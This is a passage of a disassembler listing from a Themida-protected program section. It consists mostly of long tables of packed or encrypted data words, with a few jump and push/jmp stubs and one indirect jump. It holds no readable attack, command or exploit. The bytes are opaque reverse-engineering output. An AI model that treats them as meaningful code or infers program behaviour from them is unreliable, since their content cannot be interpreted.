		dd 0BFF1D597h, 44B9339h, 9305BA60h, 10E9120Ah, 0A5000000h
		dd 0F129392Bh, 1458D0E6h, 0F4E4E2DBh, 6101716Ch, 858D8960h
		dd 6107E414h, 2DA185C7h, 630807E4h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8B6679C3h
		dd 81BD89D7h, 0C707E418h, 0E422B985h, 7, 75858B00h, 0FF07E421h
		dd 0E40A59B5h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0D55D297Dh, 40D8503h
		dd 95FF07E4h, 7E43061h,	518529F8h, 6A07E42Ch, 4195FF00h
		db 0Eh,	0E4h
; ---------------------------------------------------------------------------


loc_5E2176:				; DATA XREF: Themida_:00583910o
		pop	es
		mov	eax, eax
		jmp	short loc_5E21B3
; ---------------------------------------------------------------------------
		db 52h
		dd 0E7E68EFDh, 0ED7B7841h, 937F6036h, 784DE870h, 0CFA2ADF7h
		dd 5026E484h, 7440AA29h, 0C318E629h, 0CDFCE8C9h, 7DD83695h
		dd 1FDE45BAh, 55536164h, 7AFCBFF4h
		db 0D7h, 4Bh, 7Ch
; ---------------------------------------------------------------------------


loc_5E21B3:				; CODE XREF: Themida_:005E2179j
		jmp	loc_5E21EE
; ---------------------------------------------------------------------------
		dd 520F32A1h, 0
		dd 4AC51C57h, 36614843h, 0A7A5ADF9h, 75528C88h,	0BE00B7FBh
		dd 0E5ADF99Ch, 9D89937Eh, 1DF4C700h, 19606392h,	0DEh, 0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E21EE:				; CODE XREF: Themida_:loc_5E21B3j
		jmp	loc_5E2CDC
; ---------------------------------------------------------------------------
		push	7E9FE79h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E9FF9Bh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA0080h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA0113h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA01ECh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA02B9h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA039Ch
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA05D4h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EA06CCh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		db 18h,	40h, 1Eh
		dd 7B9B748Ah, 0DBF5D1E7h, 3E523147h, 9DB994AAh,	91CA3009h
		dd 0F0069AB6h, 4E64F816h, 0B0C65A70h, 7427BBD3h, 5DB047C4h
		dd 0D91E13ABh, 6C424D4Ah, 5D8E9F1Ch, 54C413ABh,	61DF633Eh
		dd 76C61F2Ah, 0C825C704h, 8B9D4A0Dh, 1A320FADh,	2E512CCAh
		dd 18D4067Fh, 5567C021h, 0DDBB5933h, 80FD8FC7h,	13AB95FBh
		dd 8395EE57h, 3C748C69h, 2B8D2A65h, 0AB95C9AEh,	0B11C8513h
		dd 13AB95CAh, 0B5931F88h, 73CC679Fh, 68E0A623h,	45AE1442h
		dd 6B7A57F5h, 919309EEh, 35CC51Bh, 647C596Fh, 743A552Ch
		dd 8409A724h, 0EE571C75h, 48F6F69Ah, 0DD63A35Ah, 929h
		dd 41D5F7CFh, 9E32522Bh, 0FE92AC88h, 61F509E8h,	0C054704Bh
		dd 6D4801E7h, 0CDA7BD51h, 27051BAFh, 8A677D11h,	7B2BDE72h
		dd 0AB5E79FEh, 190D513h, 29617956h, 5A337E5Bh, 2E4DE13Ah
		dd 80FD4D61h, 13A6B30Eh, 6C45E345h, 0B41AE14Ch,	4FB813A6h
		dd 0A5F55E3Dh, 7ACD1B33h, 0C9E4A7F7h, 2C6E8AE7h, 51172982h
		dd 0A6CFDBA4h, 275F7013h, 77AE8877h, 204DD8h, 4D760000h
		dd 9F1C6C42h, 13A6A9E9h, 59063EA7h, 13A6AAA6h, 2C501425h
		dd 0D87807D3h, 0CE04h, 79562D00h, 805B2961h, 815E2C64h
		dd 86633169h, 9E00DA6Eh, 42A05A21h, 7D8FF814h, 42A30684h
		dd 0F13C1914h, 24C6FE12h, 62FD9ABCh, 0AA035CCFh, 0C8DEBC5Ah
		dd 0E295F590h, 0F5EE0596h, 0AEC4E6F8h, 0AA81B9D1h, 0FC79C9E5h
		dd 13A6147Ah, 2891D848h, 0A2C22E3Ah, 69DBB549h,	7E154D4Ah
		dd 7396A8D6h, 0C542921Ch, 14406CCAh, 31CF1F88h,	0CCA63A56h
		dd 55D6A85Ah, 0BB1B1071h, 5EA73C38h, 809AAC1Eh,	653589A5h
		dd 486234A4h, 8078208h,	19F10000h, 744D63F7h, 0CEAAC054h
		dd 2B0A20B4h, 926D8317h, 0E309E276h, 0DF738F6Ah, 3DD1EFC9h
		dd 9F334927h, 94AC89h, 5B209D4Dh, 0F713AB5Fh, 7B5623B2h
		dd 0D8B5CB5Fh, 0A0B74CC9h, 0BA231442h, 92FCCD61h, 0E9FB1BF4h
		dd 95E5C9C6h, 0A6A95218h, 0D7AF2113h, 0CACA2EABh, 0CC351426h
		dd 1714E794h, 0A2B313A6h, 0D855B7E2h, 13A61723h, 593446AFh
		dd 0D8775AA6h, 0AC2Fh, 79565800h, 805B2961h, 17F2C64h
		dd 141442A3h, 0D4AB2837h, 471442A4h, 9801526Ah,	0B895AB3Fh
		dd 0FE9168A0h, 0A4473CB9h, 0AA131442h, 82840151h, 0D013A6B0h
		dd 96A51767h, 7EACD97Ch, 0B2A4C5Eh, 5DDA2A84h, 14400A7Dh
		dd 0A0D79E10h, 0E24FCA0Ch, 3888F1D0h, 18A4BE9Ah, 3311233Bh
		dd 0A9EBA95h, 0A9FD19F4h, 623473FBh, 220086C6h,	0D6000007h
		dd 3248DCFEh, 8FA53959h, 0EF0599B3h, 5268FC10h,	0EEC75B77h
		dd 58744F08h, 0B6D4AEC4h, 182E0C22h, 79916E84h,	58232E5h
		dd 13A8A07Eh, 560897DCh, 0B5CB5F7Bh, 98B08DD8h,	0D86CC560h
		dd 61795607h, 667E5B29h, 7C5AF8D2h, 81932E66h, 42A0F788h
		dd 36781714h, 536B48E6h, 5DE66341h, 113AB5Dh, 0CFAA4898h
		dd 0CEE07BB3h, 15F08EF0h, 76CFEBC6h, 7791A33Eh,	0D8EE829Ah
		dd 0D4ABE3FBh, 26A3F3BBh, 144F5370h, 4D61B51Eh,	88623237h
		dd 68FC248h, 91690000h,	0ECC5DB6Fh, 462238CCh, 0A382982Ch
		dd 0AE5FB8Fh, 7B815AEEh, 57EB07E2h, 0B5496741h,	17ABC19Fh
		dd 780C2401h, 0E39815C5h, 6F13A8A1h, 30929B2Ah,	42A0CCB3h
		dd 12EE8A14h, 738D9FF8h, 78467E96h, 0D4B839Bh, 0BB590044h
		dd 99B3C5DFh, 7A9671BCh, 0FE4EA742h, 0D6CBC58Ch, 91A369F7h
		dd 1AF7956Fh, 0EA15F002h, 0EBE05B9Fh, 7, 1729E14h, 772D0000h
		dd 1442A084h, 0D5258906h, 8C680173h, 7C8DB663h,	49B3716Ah
		dd 0E48213ABh, 0A8A4EA05h, 0D137EF71h, 1E876678h, 31FA6CCEh
		dd 6871E8Fh, 0BA97B1C3h, 1BF80EA2h, 81DAF4D0h, 0AD52CF31h
		dd 2913A8DFh, 56E8AEC0h, 19D858E4h, 384AE918h, 0E4347A15h
		dd 4CADB167h, 0A2F65F14h, 62323116h, 0B60D93D3h, 42000005h
		dd 9EB4486Ah, 0FB11A5C5h, 5B71051Fh, 0BED4687Ch, 5A33C7E3h
		dd 0C4E0BB94h, 22401A30h, 849A788Eh, 0E5FDDAF0h, 71EE9E51h
		dd 13A8A18Ah, 56740348h, 5B296179h, 0F02E667Eh,	23007F27h
		dd 5FA0770Bh, 78E05C11h, 7, 0BE9EA1h, 4D2D0000h, 9F1C6C42h
		dd 13AB5D8Eh, 6D0B5BC4h, 4E6A4590h, 8E227B16h, 4B839B78h
		dd 43931B74h, 42A300C6h, 1565CE14h, 4A829A77h, 0DFA54FAFh
		dd 8F0B173Ch, 0CB3D9F7Dh, 7B99A10Ah, 819BAD46h,	1EF88CA4h
		dd 2C41DBACh, 0F3057EADh, 0D6B1FCD9h, 0AF1161BAh, 91634D32h
		dd 40A0091Bh, 41994420h, 9B617338h, 93E3CBC4h, 758AB816h
		dd 4B2AC61Ch, 0B64FF37h, 48ED0BB7h, 2CB2F25Ah, 4E9h, 8115370Fh
		dd 0DE72926Bh, 3ED2ECC8h, 0A1354928h, 94B08Bh, 0AD88C127h
		dd 0DE7FD91h, 67455BEFh, 0CAA7BD51h, 0BB6B1EB2h, 0A8A2B93Eh
		dd 41D01513h, 0CD16F492h, 467ED7F1h, 5DC799ABh,	56000001h
		dd 5B39424Dh, 0FE9CEC45h, 1E53041Fh, 0CDE02554h, 0D0A72474h
		dd 7E14422Bh, 0C3250315h, 0FA324625h, 0F9544D5Fh, 7913ABD6h
		dd 0EC5EC010h, 69243653h, 463DBAB0h, 1413A80Bh,	0AFF252ABh
		dd 371F8CE1h, 2E0B2537h, 8F6C8216h, 27683F77h, 604F6780h
		dd 8664BFD7h, 449D3870h, 21FD9BEBh, 2234CF07h, 7A01C744h
		dd 32D01441h, 4E2D3F53h, 1AF795E5h, 7B586E02h, 43C5230h
		dd 46D81069h, 4EACADD4h, 29A69801h, 1B964F52h, 2C3E9700h
		dd 0D8288609h, 72587D5Bh, 4EA20B1Ch, 5A473B7Eh,	6CD5393h
		dd 0F2000004h, 4E64F81Ah, 0ABC15575h, 0B21B5CFh, 6E84182Ch
		dd 0AE37793h, 74906BE4h, 0D2F0CAE0h, 344A283Eh,	95AD8AA0h
		dd 219E4E01h, 13A8A35Ah, 5624B3F8h, 5B296179h, 3E56337Eh
		dd 0DA126B06h, 0AC93D39Ch, 4923B7CFh, 530AACD7h, 0FF110E6Bh
		dd 5B80DB24h, 62FCE0h, 0AA1C0000h, 6D29885h, 4136B3D3h
		dd 0D14424Bh, 64394BA4h, 1C6C424Dh, 0A6EF3B9Fh,	0A0F05913h
		dd 0D50D2502h, 0E84A283Ah, 4052704Ah, 9C304A26h, 1CE360C2h
		dd 0BA13A6F0h, 0F026DD5Ah, 4BB413A6h, 708A66F2h, 928B9D38h
		dd 13A6F0E8h, 0A2364E2Bh, 4696B08Ch, 78B0CEA8h,	587851DDh
		dd 4EFA8046h, 89000003h, 2A627856h, 17677F5Ch, 4880A079h
		dd 63799BADh, 68366E86h, 0C123738Bh, 42A0BF44h,	0A0B21B14h
		dd 77305F7Eh, 22ADA3C6h, 0D3237C9Ch, 0A6E65456h, 61B11A13h
		dd 0B9CBE9C3h, 0B3EF61F3h, 4ECE8AF0h, 24D7D0E2h, 6F13A6E4h
		dd 556B4990h, 0F129821Dh, 0D6293F4Fh, 0B97BCEBh, 9FAA0E2Fh
		dd 7696F8BFh, 3D17E51Dh, 2A4CE71Fh, 61B9F9ADh, 3651450h
		dd 225F24A1h, 92FB13A6h, 0A6225027h, 995FE13h, 2500122Eh
		dd 0D8779BDAh, 58FBh, 0F4922400h, 2AC5FD19h, 0E19AF518h
		dd 17B2EA06h, 0A0B54AC7h, 0B8211442h, 0DC920F5Fh, 9B13A6A9h
		dd 910E23FDh, 13A6AAEAh, 94A6FF68h, 53B645B5h, 0DE4B6C39h
		dd 0DFA04D85h, 6C13A62Ah, 0E9CDA81Ah, 25650016h, 26E0FB9Dh
		dd 7B8DE68Ch, 9F6A6DEh,	0CED877DBh, 0D4h, 617956F7h, 31805B29h
		dd 0D1AC3858h, 89E27DB5h, 0A4C09B39h, 0F9BFD16Ch, 0FE364E2Bh
		dd 0D6F4CE6Ch, 0B5CDAAC4h, 0A3AE2C21h, 0E4C11442h, 452238CCh
		dd 62B21D26h, 247DB3B9h, 347A15ECh, 8E482E4h, 90C8DCBBh
		dd 918A9CF5h, 13A63803h, 3554E851h, 8704545Ah, 1440EFA3h
		dd 96F848B1h, 89306219h, 7854F01Bh, 328B265Eh, 0C9A44220h
		dd 0DD3F19ADh, 89309B60h, 0BCCE371Bh, 42B4C7A2h, 0A719CC9Ch
		dd 896ED95Bh, 0A1B8904h, 3FDA1230h
		dd 0D82C85EEh, 62349DFEh, 0CE61E727h, 2A000001h, 869C3052h
		dd 0E3F98DADh, 4359ED07h, 0A6BC5064h, 421BAFCBh, 0ACC8A3BCh
		dd 0A280218h, 6C826076h, 0CDE5C2D8h, 59D68639h,	13A8A5A2h
		dd 565CEB30h, 0B5CB5F7Bh, 5B2CC0D8h, 5F39424Dh,	5D3B0941h
		dd 4595EE47h, 0A6A902C8h, 0BA5FD113h, 0C77471AEh, 0FC654456h
		dd 186417C4h, 0D2E313A6h, 5915EA92h, 0DEC2D877h, 0EB000000h
		dd 29617956h, 2C64805Bh, 42A3017Fh, 0EC371414h,	0CBE5C112h
		dd 679FF893h, 0B12373CCh, 0E3D8387Dh, 5F8193F1h, 0D1A62385h
		dd 7D144244h, 0B6EE02E1h, 96B0C21Bh, 0B351A1B9h, 0B74CC9D4h
		dd 23144244h, 8E2961BAh, 0B0DFB67Ch, 0A331AEFEh, 0F113A64Ah
		dd 0BAD5F488h, 0D042A4F4h, 1EFDE390h, 6795AA0Ah, 6AC3D7B6h
		dd 0D6E802DEh, 402BDADDh, 0EF3FA814h, 0A5A7651h, 0E485E798h
		dd 5D91F105h, 4B6D7F5Eh, 0EA3E5A35h, 623516F6h,	0D67D0343h
		dd 22000000h, 7E94284Ah, 0DBF185A5h, 3B51E5FFh,	9EB4485Ch
		dd 3A13A7C3h, 0A4C09BB4h, 220FA10h, 647A586Eh, 0C5DDBAD0h
		dd 51CE7E31h, 13A8A6AAh, 5654E328h, 0F1CB5F7Bh,	0B7A9C07Fh
		dd 536581F7h, 0B0445C39h, 26E364D6h, 22829C78h,	96A8E564h
		dd 617956C1h, 667E5B29h, 0D2DCB3D2h, 0BA09E482h, 0F38EC6DCh
		dd 2DAA889Ah, 13AB5D7Fh, 0BE8CC42Dh, 1F35C9E1h,	45F22A42h
		dd 464E67ADh, 2502A05Eh, 2E07D50Dh, 6A3B50Eh, 0F302DF5Eh
		dd 8D978176h, 84E44D49h, 3C6C926Bh, 27BB14F1h, 0A8253411h
		dd 498DC2D3h, 85BD167Fh, 2C7955F3h, 64FF374Fh, 2638D30Bh
		dd 0E1192D0Ch, 2C13532Ah, 49E7374Fh, 0CD524A6Fh, 8DF3CFDFh
		dd 4F61FC34h, 223A172Dh, 364EAh, 8DF30000h, 5C7E563Eh
		dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h
		dd 768A6937h, 7A94703Eh, 7B9B7442h, 2F68EE43h, 89000018h
		dd 4D682404h, 8900003Dh, 89562434h, 4C681E6h, 83000000h
		dd 348704EEh, 2C895C24h, 0B9515524h, 6B1951B5h,	0AD4F181h
		dd 0CD8979D5h, 0D5F74D59h, 0EDC1D5F7h, 0ED814507h, 0F83B9AF5h
		dd 685DEE89h, 4293h, 83242489h,	5D042404h, 8BE5651h, 89000000h
		dd 0E9015EF1h, 0FF593189h, 835D2434h, 348B04C4h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FA75B2E9h, 300156FFh
		dd 6B78D1AFh
; ---------------------------------------------------------------------------


loc_5E2CDC:				; CODE XREF: Themida_:loc_5E21EEj
		mov	eax, 7EA07C7h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 7Ch,	0C5h, 82h
		dd 0A6577A3Eh, 5730573Eh, 0BC63BD0Bh, 6C58086Dh, 0E8ABFA77h
		dd 0BCDD3A4Fh, 4D69CE48h, 80DE3D01h, 0BAB7673Ah, 0C07F7143h
		dd 0ABE60A15h, 4D322552h, 0BFDA524Eh, 2299767Ah, 677CA71Ah
		dd 2A46884Dh, 6E63747h,	59F9877Ch, 3CD1BF16h, 277F6954h
		dd 4E73A754h, 0BDCB0548h, 9E837h, 96BB0000h, 6501A5C9h
		dd 0E965AD20h, 0Fh, 0C0B323DCh,	2AFCBA9h, 8EDED207h, 5E2FA141h
		dd 11E9h, 543D3D00h, 606B2F41h,	8518481Ah, 2CBCAADDh, 0C681C171h
		dd 5D39h, 68h, 8B665600h, 8A585FCEh, 3034FFF0h,	0DDE18166h
		dd 8B535B77h, 0F3815FCAh, 43BED289h, 5890Fh, 38BA0000h
		dd 81180D04h, 0E7596DF3h, 0F7816675h, 0F38166E0h, 6D04FB9Bh
		dd 89FEBF0Fh, 0EE9061Ch, 7C000000h, 86A3CB0Dh, 0D528520Fh
		dd 5814978Ch, 4E88348h,	0A8F0Fh, 5E90000h, 79000000h, 0D2B27F39h
		dd 0A374F881h, 850FFFFFh, 0FFFFFF99h, 0E9D3B70Fh, 2Fh
		dd 7AE9615Eh, 0Ah dup(0)
		dd 0E9000000h, 0C61h, 0EA0B3068h, 550BE907h, 1A68FFFBh
		dd 0E907EA0Ch, 0FFFB5501h, 0EA0E0868h, 54F7E907h, 0E368FFFBh
		dd 0E907EA0Eh, 0FFFB54EDh, 0EA11B268h, 54E3E907h, 1F68FFFBh
		dd 0E907EA13h, 0FFFB54D9h, 0EA148068h, 54CFE907h, 96C4FFFBh
		dd 0DF7A8FC2h, 252F4477h, 79DFF427h, 0C093A8DBh, 0B823578Ah
		dd 79AC9EB5h, 2C5FF364h, 0DE113F17h, 8FC28CC9h,	0ADDDC02Ah
		dd 0B223FF97h, 70F002FEh, 8DBDA0BCh, 9223FFA5h,	0D6C87185h
		dd 18342009h, 7CD968E7h, 0CA8E2632h, 0AAF3468Ah, 6CE27366h
		dd 0A396DA23h, 61699CB2h, 16F9434Fh, 23F9A2D3h,	9887CBD8h
		dd 23F9A164h, 4A1639CCh, 5A5E8C12h, 2A19h, 0C0E61800h
		dd 9C9B7EC8h, 7F23F997h, 0B3F2E72h, 7323F998h, 4474579Fh
		dd 4923F998h, 7DD20B3Ch, 5EAAB9F1h, 0EFBE5Ah, 0D9BD0000h
		dd 9B8ED27Ch, 614892B8h, 0B42859F3h, 85EF4E60h,	34CE03E5h
		dd 96E92D21h, 52031C4Dh, 876AB2FCh, 1C167457h, 0A2164754h
		dd 5008A6AFh, 8A71BB04h, 0DE76E2CAh, 0CDFE5195h, 790A596Ah
		dd 52031C16h, 9F9CA931h, 0BC997618h, 0CD004992h, 6DB19DB8h
		dd 69E6187h, 0E58E8C40h, 593C86CFh, 23F9F69Eh, 0C9D10411h
		dd 1961ABA7h, 86B40007h, 23549003h, 0E0B1CA0Eh,	78C2CF2Bh
		dd 440E4930h, 637CAD00h, 0B59DBAF0h, 75D57E71h,	3AB0E32Ch
		dd 984A3228h, 0FF30DEEFh, 0EBDD6DE6h, 0C2A5DD3Bh, 3C262347h
		dd 900000Ah, 0BFD40751h, 7489BC9Ah, 24396CE0h, 0D8ED2034h
		dd 689CCF7Bh, 0F159FA43h, 0A4AEA9BEh, 56FA5C71h, 7470E23h
		dd 22056FD4h, 23FF99F2h, 0D94243F7h, 3E86D07Ah,	0E94FE32Ch
		dd 0A085B8D4h, 1C162170h, 0CC2F606Dh, 7DB09EB7h, 0C8C0E602h
		dd 979C9B7Eh, 727F23F9h, 980B3F2Eh, 0E07323F9h,	0AABBF36Fh
		dd 0D3C05A5Eh, 0BF000000h, 8ED27CD9h, 0FDC7B89Bh, 0D169D3CBh
		dd 0B097E12Ah, 478A9A5h, 160EC615h, 400E471Ch, 0A4B0970Dh
		dd 0E01164A8h, 10F58EC7h, 6C2376CEh, 8DD185D4h,	5EA8F13Ah
		dd 2C70DE77h, 4E34A8D9h, 3E63038h, 23FA6848h, 1D044E5Bh
		dd 81D4183Ah, 0C3E5ED50h, 4E357DC7h, 0B1044808h, 47166B80h
		dd 8C992BE1h, 0CFB2FA42h, 1C17C59Fh, 455E8F9Ch,	0F4093C0Eh
		dd 440A4B5Fh, 1CB309FBh, 7B9FC2A6h, 9527Eh, 0F167F300h
		dd 0A6B0A9BEh, 56F65E73h, 0A4A0E23h, 0B991C2D7h, 0E4695286h
		dd 93A8DB6Fh, 465B8EC4h, 0F80D4010h, 59BEF15Dh,	9ADC0CEFh
		dd 2DE123FFh, 0CF7AD92Ch, 158EBCECh, 6BB4C11Ch,	1C322338h
		dd 3BA2C0D2h, 0EADD64A8h, 0CFED44E7h, 96C710C7h, 7CD9B833h
		dd 0BA9B8ED2h, 8EB60F4h, 1C158ED8h, 3B7FC8D5h, 646C9FE8h
		dd 19FC4642h, 23F9AD86h, 45387C89h, 0DF43E10h, 74D7084Ah
		dd 9FB8F65Fh, 37266AB3h, 0B77DD02Dh, 0BA2728CFh, 6B80B39Bh
		dd 312064EAh, 0B075CBFEh, 7BDCDA7Fh, 0F74093D7h, 0BA97C0B3h
		dd 75CBA7D7h, 4E97A4B0h, 0EA65000Ah, 222D729Dh,	8BBE90C5h
		dd 2B6FDF76h, 75CC033Ch, 3042F8B0h, 1105460Fh, 0D8114249h
		dd 63EB6A77h, 143A1B30h, 51347CD0h, 87B57E21h, 0D4E0111Eh
		dd 0A2D2B5B2h, 0A787B57Dh, 2407519Ah, 8F999CB5h, 7CAC8FD7h
		dd 8188917Fh, 86CC8B74h, 4811BE55h, 947BC50Eh, 0F75A8BBFh
		dd 87D1D9EFh, 759F85A4h, 0C926A90h, 38D882F6h, 186CB0F9h
		dd 0DA147406h, 9ECF4D0Eh, 0B4F35689h, 2629BC87h, 6EE87158h
		dd 0EA6D72Ah, 3625FB5Eh, 4C5DDh, 5DCFE100h, 0EA1AFDC6h
		dd 0EF87B4F6h, 14C3CEE2h, 42E46394h, 5C547A2Fh,	71E3CA12h
		dd 304497DBh, 619093BAh, 6C81B21Dh, 23FA7165h, 5AF66047h
		dd 0FB92C316h, 52ED78EEh, 7200C9FAh, 5384CA8Bh,	6E5E2147h
		dd 7B1E6436h, 629275BFh, 67F740E0h, 7FC7115Ah, 0B095C198h
		dd 0F740E080h, 4326707Dh, 0F740E113h, 60DA0B18h, 25039E7Dh
		dd 0AAF401FFh, 0FF4F7F62h, 3E4CF8E4h, 0E4FF2B5Bh, 0DA2330F8h
		dd 0BBEC66F1h, 434F6147h, 3ABE16F9h, 80C800C9h,	40D96D9Dh
		dd 346572F7h, 5F46909Dh, 0B4A0B8F6h, 0A1D41D70h, 9385C98Ch
		dd 0E77D091Fh, 64E2DF03h, 0E1000007h, 97ACDF79h, 4C6194C2h
		dd 0FC114408h, 0B0C5F85Ch, 4074A7A3h, 0C981D29Bh, 7CD68196h
		dd 2E223449h, 0DF6FE6FBh, 0FADD47ACh, 23FF9CCAh, 0D91A1BCFh
		dd 9B8ED27Ch, 0EA6093B9h, 8E8FBFA2h, 4E0A1C15h,	86FC206h
		dd 0BFA7CAFBh, 0AC000000h, 0ADC4CCE6h, 431C16C9h, 9F08600Ch
		dd 642F5DBAh, 2E000000h, 7AC4CCE6h, 498DC393h, 684BC5F6h
		dd 1C158F35h, 19492C3Ah, 161C158Fh, 9C95B63Eh, 63ACBD6Bh
		dd 72E3D61Ah, 0C194A9DCh, 0A1EA6CEDh, 5951775Dh, 2430280Fh
		dd 0E25C8DE0h, 0BA1B39Ah, 70C3074Dh, 2E1F627h, 5D23F9C3h
		dd 6BFE0C50h, 0A9D088E4h, 967D5A5Eh, 0C26293C3h, 7, 117CFC1h
		dd 0E6D40000h, 9B7EC8C0h, 23F9AEA4h, 40887A87h,	44BAC434h
		dd 6892320h, 9EBC0000h,	0E77287BAh, 2D273C6Fh, 81D7EC1Fh
		dd 0C88BA0D3h, 0B01B4F82h, 71A4A6ADh, 2457FB5Ch, 0D609470Fh
		dd 87BA94C1h, 0A5D5B822h, 0AA23FF9Ch, 0CCE6F5F6h, 65C9ADC4h
		dd 313D12EBh, 5DBAA379h, 7EFEh,	0CCE6FD00h, 4C687AC4h
		dd 0A1574271h, 165FEB68h, 54BA9EE5h, 1E4A05DEh,	5DBA2D4Eh
		dd 5EEDh, 490AF100h, 7851D001h,	8F1D4D30h, 75221C15h, 0DB2E72E4h
		dd 45027E92h, 0D8998788h, 79799BA7h, 0D404E72Fh, 0D91C164Dh
		dd 4DB8E8CBh, 0A8B51C16h, 3E72E5Fh, 0EC344E88h,	164DD909h
		dd 0E0C9D61Ch, 4194D874h, 6F78D710h, 1C165642h,	4371CD90h
		dd 0A3EC592Bh, 0BA6D623Bh, 0FEB2075Dh, 0E606FFFFh, 687AC4CCh
		dd 0BAF8D4h, 59A0D13Eh,	1B38FA75h, 91CDEB2Fh, 1751772Ah
		dd 96C09982h, 8FC03552h, 0C448627h, 0CD1639C5h,	0B0BC936Ch
		dd 5DBAB3F8h, 0BA9ABEA5h, 52F22376h, 23Ah, 0CF7AD951h
		dd 8E74A487h, 6C791C15h, 158F5787h, 0FE47541Ch,	2391C7BAh
		dd 88DB1F35h, 8F2B5B3Eh, 23301C15h, 6B1296DAh, 0FE4C07E4h
		dd 0AD9DB6CBh, 656D8369h, 0A82D381Bh, 0D5E223F9h, 63EC8791h
		dd 0CAFADD25h, 0CF23F9A7h, 0DB7891C2h, 2C273C6Fh, 9F86DA1Eh
		dd 6A4D97B5h, 23F9A83Ah, 0EC01323Fh, 23F9A8B8h,	0EF33193Bh
		dd 0B3F75BFCh, 6916397Eh, 8956F93Eh, 384D80CAh,	5EB2F1Bh
		dd 559DE7E3h, 0A6FA2A0Dh, 391C23F9h, 23F9A709h,	8592F906h
		dd 0BFD83F54h, 0C6D32BDDh, 6D658B93h, 0ADD14023h, 0C1CE23F9h
		dd 1317297Dh, 231B79EEh, 0C6F60B3Ch, 0FF23F992h, 436595BAh
		dd 0AB1AFD47h, 0B02BDDB1h, 0E8FA70A3h, 0D6763F90h, 0BDD60706h
		dd 136FEB98h, 0A784F665h, 0B4C61A5Eh, 6D805D8Ah, 0A99AAEDAh
		dd 46381FE0h, 460F2859h, 0BBCDD508h, 0C009470Fh, 8E509376h
		dd 5E7023FAh, 0A4F45E1Eh, 2DC4F51Eh, 0B9EDDC20h, 2123F9BFh
		dd 5FEF664Dh, 26B4C81Bh, 793C2CF6h, 0DC73ACDDh,	538366AEh
		dd 5823FA5Fh, 2A821A4Bh, 515A5E4Fh, 28h, 0C8C0E650h, 979C9B7Eh
		dd 0D27F23F9h, 27272E86h, 0FE4790E3h, 9797CBBAh, 6CFF23F9h
		dd 0AAD787E3h, 0D9545A5Eh, 53000000h, 88D27CD9h, 1D322E40h
		dd 0F1BCE18h, 163EFA2Ah, 0C1F2FF1Ch, 98E7F94Dh,	51F36E74h
		dd 79DAF324h, 0BB9A8DD1h, 0F95C4F93h, 0C2112255h, 0DA1C168Bh
		dd 0A8EC62F3h, 4A0B2455h, 1C60F464h, 117ABBFEh,	59A29071h
		dd 0B3D5DD10h, 0B38A6DB7h, 0B823FD34h, 0A64F61ABh, 0D2B1AC8Ah
		dd 0D0B73162h, 0B3E3C683h, 0B823FC87h, 0EB038E0h
		dd 95DE3ABDh, 4F04194Ch, 0C2D509FBh, 99BDBAC1h,	3BA9Ch
		dd 89CF8B00h, 3E184156h, 0EE5EF60Bh, 0A2B2A6BBh, 51F95A6Fh
		dd 7CC1EA1Eh, 2B4073D7h, 0DEF3262Ch, 90A5D878h,	0F15689C5h
		dd 9F74A487h, 0C57923FFh, 0C29178C4h, 153E5788h, 4F04EB35h
		dd 0D56FC5Bh, 0E24576C9h, 6FB88CDh, 0A0958C3Dh,	0D51E2E26h
		dd 0D1E3598Ch, 0A9E82AE2h, 0BA396AA0h, 8ED27CD9h, 4A94BA9Bh
		dd 2B5CF263h, 7CD94DC8h, 8EBEEED1h, 0AEBB1C15h,	0BEEB489Ah
		dd 0A5EEF02Dh, 67E76E61h, 0E1A2C34h, 0D779DDC4h, 6492CA6h
		dd 0A923F9FCh, 3569589Ch, 9D23F9D9h, 7129450Ah,	0F65A5ED5h
		dd 2Fh,	9FCFB2FAh, 9C23F9D0h, 0E6DF5E8Fh, 9B7EC8C0h, 23F9979Ch
		dd 3F2E727Fh, 23F9980Bh, 9BB89F73h, 0A457EAFh, 5EAA0E5Eh
		dd 0F62D5Ah, 782C0000h,	8F1D4D30h, 7B751C15h, 9FFDD197h
		dd 0CA8A379Eh, 0EF083982h, 0B1A4E866h, 3164DDA2h, 60A2BF6Ah
		dd 377FD317h, 4480450h,	979CCCB1h, 0DBBE1C15h, 1C1597ABh
		dd 2F3CA3B0h, 0DE70E5FEh, 9FAEA79Ah, 15978CBCh,	3B84911Ch
		dd 9CA8F708h, 0F4611C15h, 4312275Ah, 83AFC10Bh,	0E2318904h
		dd 0D7BD3162h, 8C6FB9B1h, 23FA6645h, 98BA9D4Ah,	3E180154h
		dd 8E96C912h, 43267078h, 2BE14066h, 0BF23C49h, 0EE1E0148h
		dd 0EB1C17BBh, 4D6295DEh, 82524406h, 9EC2A626h,	24D7D7Ah
		dd 62F80000h, 0ABAEC3F6h, 0F16378ABh, 4513285Bh, 8CC7DC0Fh
		dd 74578BBEh, 0ADE06AE9h, 6093BF98h, 12450B4Bh,	0C3F658FDh
		dd 0E111F45Eh, 0DE23FFA1h, 7AD9292Ah, 15279DD0h, 38D50B7Fh
		dd 8FA8D97Fh, 2C3E88C6h, 40AFD1D9h, 5C4346E4h, 6E9C0014h
		dd 0D317391Dh, 84E3780h, 39B41748h, 7EC8C0E6h, 0AF722436h
		dd 0A68FBFA2h, 7F8C1C15h, 2EAE6D6Bh, 9EE9E8FDh,	0B9C623F9h
		dd 9D528675h, 7FD523F9h, 0BE9689CDh, 574A8Eh, 98B75252h
		dd 113E7EBh, 454A80C4h,	73E376FFh, 0CDFDE02Ah, 0D223FA64h
		dd 0F45B94C5h, 5E752078h, 42256D5Ah, 23FA6912h,	0FD2C176Ah
